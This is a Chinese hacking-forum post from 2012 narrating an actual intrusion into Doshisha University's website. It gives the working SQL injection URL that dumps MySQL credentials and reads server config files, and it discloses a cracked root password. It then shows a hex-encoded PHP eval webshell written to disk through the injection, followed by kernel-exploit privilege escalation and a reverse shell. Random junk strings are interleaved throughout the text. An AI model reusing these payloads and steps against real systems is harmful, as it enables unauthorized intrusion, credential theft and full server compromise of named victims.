找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2489|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
% u5 Z  G( e; z% O! C) R
4 Z% N5 F  q7 f4 H6 vhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
* B* D  s# j/ p& G然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:9 n# Z+ l# a# l& s# t8 e

$ @2 |/ u0 a. v9 c# p6 h1 hhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
$ V- D. y, A* L2 A# J
1 y. o' l8 |5 R9 p4 f
& o* k% D0 F: H6 U' i# S/ R# S1 ?8 w3 Q" g8 P% F- r. D
//@@datadir为数据库文件路径
+ H+ i7 [; \, ~2 p 3 W; t- }8 C. ?" [

+ n* e  |6 {1 e3 R//load_file读取网站容器apache的配置文件
% T% u/ F1 \1 `; r 1 Q1 l" A6 O7 r; R) H3 L
7 W6 ~1 Y4 J0 R$ D! h
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 % K/ a' S  Z, x$ H6 h- k
复制代码. b4 E1 s0 Y: u( C: `# @
9 x8 G8 S# V5 T- v* T, N  E7 L
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
( D: O3 r. R: y4 n
4 [: Y4 e$ I! a而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。% p. S6 z9 B% `
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)* l* d. W  s8 t% Q

! ~3 E- D) v' {( }! q- J前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。" G4 S3 i* a0 j$ a
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
  z% ?: b- O; H$ t1 N1 H- R/ v, Q5 r- D) `9 ?
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/+ e+ Z$ N8 b* i) X% [3 q
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。/ P4 f) L# S5 b7 v
直接写一句话:% n7 g& B: J6 U) x/ Q( s9 X. Z7 @

+ B$ C' w1 Q- ihttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#. X+ v2 Y  P8 h, j! ?6 [
% p) F* I2 S% ?. q% R0 @

, j4 M) U+ G2 X5 M' a2 e9 W* s9 g4 S
' g. K6 e& {1 M5 f2 M//最后的#是为了闭合前面的语句 " ~1 v8 b5 M, s8 h" c

6 D' j8 V1 h' @; ?
* S; J8 f( t! u1 ^& o: i/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E ( J7 v( I5 V1 Q5 P  L8 |% H# @
5 }( q* N  l+ ^' F* k5 }9 `
/ r) i# m" }: {; b- H. z
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ ; P2 F4 O: w/ L: @; `8 v( H, d
0 U9 j, \. `2 L$ b' u

* F5 T* h; P$ H/ f% Z//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
; Z/ W  w6 `3 W% d' g; K
4 q; W; V: y* d5 ~- {% t
. ?4 l# D' @( [4 N- J0 b1 ?//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
$ a* O' o0 D' U* ?8 H//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
* I1 s$ p& c$ F复制代码
# C4 H5 _; W+ }3 Q- C* @. Q
. q' Q; z8 B  x( Y6 ZHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有2 d6 ]2 E& S8 M& E
通过上述注入语句,我们就得到了一句话木马:
+ j7 U" b% x! M
, O6 }' U9 o3 W$ c5 u 6 l3 B! S5 I" R: \. O

7 K5 ^& l  f" G) i5 f" T ; z% s) j/ ?0 _" L
5 G( t- k; M9 }+ S- A
http://www.doshisha.ac.jp/english/engnews_img/aa.php 7 m1 f1 P; L$ @7 m/ i' y& H
复制代码
2 m' a. x$ F; c! K5 S- b3 G
& Z# K) Y, v* j0 D用菜刀连接,密码是cmd,如图所示:
, a6 F( _" ?3 Y, P5 A然后在命令提示行里看了一下,现在的权限是:
9 |3 l; ]4 P8 P9 z: A! X
$ _& P. K1 m7 [之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。# y6 m2 z% @$ m6 G/ Z5 z$ S4 G
好在赋权给这个文件夹不需要root,直接执行赋权语句:
: j  {$ e* Y" }+ {7 r! H
: b. @, a+ J3 n! q" ~" s/ _8 P" z 2 @. M& L- J5 {' |

) L+ D9 q: L* Y 5 a# `0 L( E' H; \
; V0 U' [* B; M  i6 {
chmod +x /tmp/
) H/ W( g. T$ {5 V. X" @复制代码- f$ H6 W% d! N0 A  C) I& P

, e/ P" b5 ?3 I4 L; y3 {: {在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行0 C5 w, y. J9 L* E: E/ Y* Q
然后就查了一下内核版本:
3 `6 X" z" _* Z* l1 W' `/ D9 {+ k/ G/ b! p' f3 A, k3 j- Y- G6 I6 t# G
, u2 r: n" S+ F' W. `( N
- G5 r/ W! p& _

. A, d% f0 O8 g- V3 C& |% r- s' J" s/ i+ x. o5 \
uname-a
4 W; Y( X( A" J+ P  P$ a
: `: u% S7 a" A+ G; Z# o
9 f  T' e4 V  A2 g//其实lsb_release -a
  v: D% P  D+ t4 Q# m复制代码
5 ^# V# E+ x- z. T/ \: F) D1 J* i/ c  @0 ?9 w5 n
如图所示:
7 g& ]$ ^& }4 F/ j, K1 Q5 b; @% C4 J8 X; v$ ~, h- J
内核版本:linux mainz1 2.6.28-194.e15
+ a9 ]( V( w: t0 y' H8 ?6 e( W系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
' z- W! Z) r" t" q9 A* r查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹4 U& G( J3 D& a8 u3 _7 m! P8 V

1 I( P9 x+ v6 ^然后给予执行权限
, Z1 U5 P5 V2 v9 Z( Y/ [! A$ P1 _' j一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样$ c- L1 {1 R+ H% \( r4 p$ M+ N
4 K4 B5 H% `, K, [: v: a  ?) f
) U% X2 I+ h" L% }  Q
1 [% D3 Q' A" P: e" t

: @4 w5 N7 u8 ?- y* g9 F, b8 N' \& m" Q1 R- n
chmod +x /tmp/2.6.18-194 6 ]( X  L# n% y. S
复制代码 然后直接执行!~0 h% y1 n5 r, q: W

4 B9 \4 r+ M5 n% x* _$ O总结:
; @! n. u' S6 T7 j8 m; w9 |这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
% ~' Z; S! \/ y; b" j提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root6 F# q) P$ B; S$ P" V
- @" ]+ h+ O/ i+ a# B; o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表